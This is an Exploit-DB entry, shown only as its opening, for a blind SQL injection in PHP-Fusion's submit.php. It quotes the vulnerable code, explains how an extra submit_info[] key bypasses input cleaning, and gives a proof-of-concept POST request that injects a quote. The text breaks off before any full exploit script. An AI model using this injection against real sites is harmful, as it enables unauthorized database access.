Exploit-DB #5470
Description: PHP-Fusion 6.01.14 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-19
Author: The:Paradox

Exploit:
#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This was a priv8 Exploit                                    #
#=================================================================================================#
#  	           		         PHP-Fusion 6.00.307                                      #
#                                  And Probably All Other Versions                                #
#                                 Blind Sql Injection Vulnerability                               #
#                                         Benchmark Method                                        #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   #           #
#====================================#		 #====================================#           #
#                                                #                                                #
# magic_quotes_gpc = 0                           #  Vendor:   php-fusion.co.uk                    #
#                                                #  Author:   The:Paradox                         #
#================================================#  Severity: Moderately Critical                 #
#                                                #                                                #
#       Oh wow no-content space! Enjoy it!       #  Proud To Be Italian.                          #
#                                                #                                                #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
# PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source:   		  #
#=================================================================================================#

[Submit.php]

 1. if ($stype == "l") {                                                                          
 2.												  
 3.	if (isset($_POST['submit_link'])) {							  
 4.
 5.	if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {
 6.		$submit_info['link_category'] = stripinput($_POST['link_category']);
 7.		$submit_info['link_name'] = stripinput($_POST['link_name']);
 8.		$submit_info['link_url'] = stripinput($_POST['link_url']);
 9.		$submit_info['link_description'] = stripinput($_POST['link_description']);
10.		$result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");											  
												  
#=================================================================================================#
# Look to the sql query.                                                                          #
# There are two variables: $userdata['user_id'] and a serialized array $submit_info.              #
# The user_id is an intval value and array values link_category, link_name, link_url and          #
# link_description are correctly cleaned via fusions' stripinput() function.                      #
#                                                                                                 #
# All seems pretty cleaned.                                                                       #
# But what would happen if we set another value into submit_info[] array via gpc vars?            #
# It will be set in the serialized array, and obvious it will not checked by stripinput.          #
# Sql Injection possibility!                                                                      #
#                                                                                                 #
# Let's see:                                                                                      #
#                                                                                                 #
# Host: 127.0.0.1                                                                                 #
# POST PHP-Fusion/submit.php?stype=l                                                              #
# link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1  #
#                                                                                                 #
# It will result in sql error in case of Mq = 0 :                                                 #
#                                                                                                 #
# You have an error in your SQL syntax; check [...]                                               #
#                                                                                                 #
#=================================================================================================#
# Normally to make this trick